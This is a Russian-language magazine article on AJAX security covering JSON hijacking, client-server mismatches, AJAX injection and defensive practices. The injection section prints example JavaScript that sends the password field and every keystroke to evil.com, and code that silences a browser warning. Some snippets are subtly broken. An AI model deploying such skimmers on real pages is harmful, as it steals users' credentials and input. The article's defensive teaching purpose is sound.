Содержание статьи
Год назад об AJAX
говорили как о новой перспективной технологии, но сегодня он как-то выпал из
поля зрения. Значит ли это, что AJAX не оправдал надежд и постепенно уходит в
историю? Нет и еще раз нет. AJAX – это технология back-end, реализация которой
перешла с прикладного уровня на уровень фреймворков.
Передовая линия обороны
Лежащие в основе огромного числа веб-проектов Dojo, Google Web Toolkit,
jQuery, Prototype, в свою очередь, являются дружественной к разработчику
реализацией AJAX. А задумывался ли ты о потенциальных брешах в безопасности,
прикручивая к своему проекту один из упомянутых фреймворков?
Если ты не хочешь отдать свой веб-проект на растерзание стае скрипт-киддисов,
то просто обязан знать об основной уязвимости AJAX-приложений. Эта уязвимость
носит архитектурный характер. Другими словами, полноценного решения проблемы не
существует и вряд ли когда-нибудь появится. Все, что ты можешь сделать – это
минимизировать риск возможного взлома, предприняв ряд целенаправленных действий.
Знакомься с мистером проблемой номер один – Hijacking!
Чтобы эффективно противодействовать этому виду атаки на AJAX-приложения,
неплохо было бы разобраться с тем, как эта ботва работает. Если говорить в двух
словах, то в основе AJAX лежит обмен сообщениями между сервером и клиентом
посредством JavaScript-сообщений. Hijacking нацелен на перехват таких сообщений
(в которых можно найти много вкусностей). Традиционный обмен сообщениями между
веб-клиентом и сервером лучше защищен от подобных атак благодаря технологии SOP
(Same Origin Policy). Какой-либо защиты сообщений, формируемых с помощью
JavaScript, пока не наблюдается. Кстати говоря, это должно быть головной болью
разработчиков веб-браузеров, но они просто игнорируют проблему. О том, что
проблема не нова, свидетельствует следующий факт: достаточно давно существует
еще одна реализация данной уязвимости, не имеющая никакого отношения к AJAX –
CSRF (Cross-site Request Foregery). Некоторые подробности, касающиеся CSRF, ты
найдешь в конце статьи. Здесь же только отметим, что применительно к JavaScript
проблема становится еще более серьезной, так как злоумышленник теперь может не
только изменять, но и читать передаваемые сообщения. Демонстрируя серьезность
проблемы, достаточно будет сказать, что впервые она была обнаружена ни
где-нибудь, а в самом Gmail.
Для защиты от атаки типа Hijacking запомни, прежде всего, простую, как
трехдюймовая дискета, истину – если веб-приложение надежно защищено от XSS, это
еще не говорит о его защите от Hijacking. Чтобы сделать AJAX-приложение
максимально непробиваемым, нужно, во-первых, сделать невозможным прямое
выполнение JS-ответа. Во-вторых, нужно организовать отсылку в известном
направлении всех кривых или просто подозрительных запросов. Начнем со второго
пункта. Для того чтобы спалить всех хитрозадых, достаточно будет использовать в
шаблоне запроса параметр, со слепым подбором которого могут возникнуть траблы. К
примеру, это может быть идентификатор сессии. Всякая ошибка в этом параметре
будет расцениваться как сигнал о попытке взлома. Если по каким-то причинам у
тебя нет возможности использовать параметры сессии, можно обойтись защитой на
стороне сервера, настроив его на обработку только POST-запросов. Фишка в том,
что задействованный при Hijacking тег <script> подтягивает внешние скрипты с
помощью GET-запроса.
Чтобы сделать невозможным для злонамеренного сайта выполнить ответ, который
включает в себя JavaScript, приложение клиента может воспользоваться тем, что
ему разрешено изменять данные, которое оно получает перед тем, как выполнить
ответ (в то время как злонамеренное приложение может лишь выполнить его,
используя тэг <script>).
Когда сервер преобразовывает объект, тот должен иметь специальный префикс (и
даже суффикс), который сделал бы невозможным выполнение JS-скрипта посредством
тэга <script>. Приложение клиента может убрать дополнительные конструкции, перед
тем как выполнить ответ сервера. Существует множество реализаций этого подхода.
Мы выделим лишь два их них.
1. Сервер может сопровождать каждое сообщение следующей конструкцией:
while(1);
Если клиент не вырежет данное выражение, то выполнение подобного сообщения
JS-интерпретатором приведет к бесконечному циклу. Способ использовал Google,
чтобы устранить уязвимость, обнаруженную Гроссманом. Клиент проводит поиск и
вырезает дополнительную конструкцию:
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
if (txt.substr(0,9) == "while(1);") {
txt = txt.substring(10);
}
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
2. Сервер может заключить JavaScript символами комментария, которые
впоследствии должны быть вырезаны (перед тем, как JS-код отправится на
выполнение). Следующий JSON-объект окружен символами многострочного комментария:
/*
[{"fname":"Nicholas", "lname":"Baiborodin",
"phone":"322-233",
"purchases":60000.00, "email":
"baiborodin@gmail.com" }
]
*/
Клиент может искать и вырезать комментарии следующим образом:
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
if (txt.substr(0,2) == "/*") {
txt = txt.substring(2, txt.length - 2);
}
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
Распределенные приложения или еще один кошмар на голову веб-кодера
С тенденцией, как говорится, не поспоришь. А тенденция сегодня такова, что
девелоперы стройными рядами двинулись в Сеть, особо не задумываясь над вопросом
«а нафига?». Трудно себе представить такое приложение, для которого бы не
нашлось веб-аналога. Есть все – от блокнота до целых операционных систем с
полным набором прикладного софта и продвинутым пользовательским интерфейсом. По
своей природе такие приложения имеют двухуровневую архитектуру – движок крутим
на сервере, а на стороне клиента через браузер реализуем пользовательский
интерфейс. Естественно, разработчики в большинстве своем не пацаны сопливые, а
потому понимают, что для серверной части приложения наиболее эффективными будут
одни технологии и языки программирования, а для клиентской – совсем другие. К
тому же, одна серверная платформа может работать с совершенно разными
клиентскими реализациями. Что совершенно логично – будь то коктейль из HTML и
JavaScript, или традиционное оконное приложение на C#, все они прекрасно найдут
общий язык с серверной частью приложения посредством http-протокола и одного из
XML-диалектов. Но это на бумаге все так гладко, а на практике… суди сам.
Допустим, серверное приложение написано на Java. В ответ на клиентский запрос
оно возвращает один из элементов своего массива. Только вот в одних языках
программирования индексация массивов начинается с нуля, а в других – с единицы
со всеми вытекающими отсюда последствиями. Для того чтобы обезопасить себя от
связанных с этим недоразумений, я бы посоветовал запросы к элементам массива
прятать за более безопасными интерфейсами, используя где возможно вместо
конструкции Foo = bar[2] что-нибудь вроде foo = barshop.getByName("marijuana")
или foo=barshop.getById(999).
Другая проблема – обработка строковых данных. Например, функция замены
символов. В C# функция String.Replace() заменяет все вхождения своего первого
аргумента на второй. В JavaScript аналогичная функция заменяет только первое
вхождение! А это значит, что прямой проброс функций чреват новыми проблемами,
будь они неладны:
// C#
String text = “foo foo foo foo”;
text = text.Replace(“foo”, “bar”);
// результат – строка “bar bar bar bar”
//JavaScript
var text = “foo foo foo foo”;
text = text.Replace(“foo”, “bar”);
// результат – строка “bar foo foo foo”
Представь, что тебе нужно вычищать все явки-пароли из клиентских запросов (по
причине чьей кривизны рук они туда попали, – это отдельный вопрос). Итак, желая
перестраховаться от ошибок кодеров, наваявших свои нетленки, выступающие в роли
клиентов нашего серверного приложения, мы с помощью RPC обращаемся к функции
String.replace(). Не принимая во внимание платформы клиента, можно столкнуться с
продемонстрированной выше ситуацией. Если ты не любитель попасть на проблемы, не
забывай проверять платформу клиента перед вызовом удаленных процедур. Кстати
говоря, это далеко не единственная проблема со строками. Вот тебе еще пример –
извлечение подстроки. В C# метод String.Substring() вызывается с двумя
параметрами. Первый – начальная позиция подстроки, и второй – ее длина.
Аналогичный метод, с таким же точно названием, есть в JavaScript. Да вот
незадача, второй параметр указывает не на длину подстроки, а на позицию
последнего символа:
//C#
auth = “pass=pup_v, user=vas”;
string pwd = auth.Substring(5, 5);
// pass = pup_v
//JavaScript
auth = “pass=pup_v, user=vas”;
string pwd = auth.Substring(5, 5);
// результат – “”
AJAX Injection
Про SQL Injection не писал только ленивый, и, я надеюсь, ты уже давно усвоил,
как следует защищать свои веб-приложения от несанкционированного доступа злобных
хакеров баз данных. Используя AJAX-фреймворки, тебе придется помнить еще и об
AJAX Injection. Эта зараза особенно актуальна для Mashup-приложений, которые в
последнее время интенсивно завоевывают популярность на просторах глобальной
Сети. В качестве описания я ограничусь констатацией того факта, что Mashup за
счет AJAX объединяет несколько сетевых ресурсов в одно веб-приложение.
Потенциальная опасность заключается в том, что с помощью XSS можно подменить
легитимный JavaScript какой-нибудь нечистью.
Ниже ты увидишь несколько примеров для затравки (надеюсь, ты не собираешься
заниматься всякими глупостями). Имея доступ к DOM-структуре, можно поиметь чужие
кукисы и заветную последовательность символов из поля password:
function foo()
{
var pass = document.getElementById("password").value;
document.images[0].src = "http://evil.com/imgs/stealpw?pw=" + pw;
}
document.getElementById("button").onclick = foo;
Именно благодаря своей асинхронной природе запрос пролезет незамеченным
сквозь все линии обороны. Вот еще пример:
function keylogger(e)
{
document.images[0].src = "http://evil.com/logger?key=" + e.keyCode;
};
document.body.addEventListener("keyup", keylogger, false);
Здесь мы тырим приватные данные уже через другой проход (ой!) с помощью
своеобразного веб-килогера, который передает на удаленный сервер всю вводимую
пользователем на странице информацию. Конечно, сейчас речь не о том, как
мониторить переписку своей подружки на почтовике с веб-интерфейсом, а о том, как
самому уберечься от подобных косяков.
К счастью, веб-браузеры в последнее время достаточно поумнели, предупреждая
беспомощного юзера о возможных проблемах. С недавнего времени эту же функцию
взяли на себя и поисковики. Однако, в большинстве случаев все предупреждения
выводятся посредством HTML. А как ты уже знаешь, через AJAX Injection можно
перекраивать DOM-структуру как душе угодно:
// Бубнилка, предупреждающая пользователя
...
<style type="text/cuss"> #warning { color: red } </style>
...
<div id="warning">The links in this page may refer to
potentially malicious Web pages, so be careful. </div>
...
// А вот так ее можно заставить замолчать
var e = document.getElementById("warning");
e.style.color= "white";
Правильный AJAX
Как видишь, AJAX-приложения имеют много уязвимых мест. Через них над твоим
веб-проектом могут надругаться с особой изощренностью, свойственной разве что
производителям жестких хентай-комиксов (будучи злым японским программистом,
Николай наверняка знает в этом толк! – Прим. ред.). Что же делать? Бояться
каждого чиха за углом и гонять только голый HTML? Абсурд! Все, что от тебя
требуется, гринго, это усвоить несколько базовых правил создания безопасных
AJAX-приложений.
Первое, что нужно сделать, – это позаботиться о фильтрации подозрительных
данных. Для этих целей есть два зарекомендовавших себя способа, известные как
blacklisting (список запрещенных символов и их последовательностей) и
whitelisting (список разрешенных символов). Можешь использовать тот подход,
который ближе к твоему желудку, но многие крутые челы сходятся во мнении, что
whitelisting все же надежней будет.
Не пренебрегай системами автоматизации поиска ошибок в веб-приложениях. Ведь
есть очень простое правило – либо ты сам себя проверишь, либо тебя проверят. И
последствия будут, мягко говоря, печальные.
Динамическая генерация кода – абсолютное зло. Это еще одна непреложная истина
AJAX-программирования. Забудь про то, что вообще существует такая функция, как
eval(), выполняющая любую текстовую строку как JavaScript-код.
Не переоценивай возможности JSON. Всегда держи в голове (даже если в ней
вместо мозга плещется литр жигулевского), что JSON – тот же JavaScript. А
значит, возможны всякие нежелательные ситуации. Например, с помощью той же
функции eval() злоумышленник может преобразовать JSON-объекты, защищенные от
операций присвоения и активизации, в обычные JavaScript-объекты.
Для защиты JSON ты можешь воспользоваться регулярными выражениями,
проверяющими принимаемую строку на предмет отсутствия активных фрагментов. Как
это сделать, можешь посмотреть на примере:
var my_JSON_object =
!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, ' '))) &&
eval('(' + text + ')');
Ну, а если ты хочешь раз и навсегда избавиться от подобных проблем с
отравленными строками в JSON, юзай синтаксические JSON-анализаторы, и будет тебе
счастье.
И, наконец, всегда проверяй единство происхождения критических DOM-элементов.
Это легко сделать с помощью тега <iframe>, предоставив данным из разных
источников отдельный контекст выполнения JavaScript и предотвратив Hijacking
атаку на свое приложение.
Факты
Dojo - свободная модульная JavaScript-библиотека. Разработана с целью
упростить ускоренную разработку основанных на JavaScript или AJAX приложений и
сайтов. Разработка библиотеки была начата Алексом Русселом в 2004 году.
Находится либа под двойной лицензией: BSD License и Academic Free License. Dojo
Foundation — некоммерческая организация, созданная для продвижения Dojo. Dojo
используется в Zend Framework, начиная с версии 1.6.0.
Prototype - JavaScript-фреймворк, упрощающий работу с Ajax и некоторыми
другими функциями. Несмотря на его доступность в виде отдельной библиотеки, он
обычно используется программистами вместе с Ruby on Rails, script.aculo.us и
Rico. Заявлено что этот фреймворк поддерживается следующими браузерами: Internet
Explorer (Windows) 6.0, Mozilla Firefox 1.5, Apple Safari 2.0 и Opera 9.25
(естественно, и их более поздние версии). Поддержка браузеров также
подразумевает, что фреймворк поддерживается Camino, Konqueror, IceWeasel,
Netscape 7+, SeaMonkey, и др., которые принадлежат тем же семействам.
Что почитать
Изучаем AJAX
Книга посвящена технологии веб-программирования Ajax, стоящей на ступень выше
базовых DHTML и JavaScript. С помощью Ajax можно создавать интерактивные
веб-приложения, отличающиеся быстродействием и высокой производительностью. Эта
книга ответит на вопрос, как асинхронные запросы используются в технологии Ajax,
и поможет выйти на новый уровень в создании веб-приложений. Особенностью издания
является уникальный способ подачи материала, ярко выделяющий серию «Head First»
издательства O'Reilly в ряду множества стандартных книг, посвященных
программированию.
WWW
На Википедии есть учебник, посвященный основам AJAX – рекомендую для
начинающих:
http://ru.wikibooks.org/wiki/AJAX
Краткий обзор десяти наиболее серьезных проблем с безопасностью AJAX
приложений:
www.net-security.org/article.php?id=956&p=1
Статья AJAX Security Basics на SecurityFocus:
www.securityfocus.com/infocus/1868/1
Там же – интересная статья о взломе Web 2.0 приложений с помощью FireBug:
www.securityfocus.com/infocus/1879/1
|
|
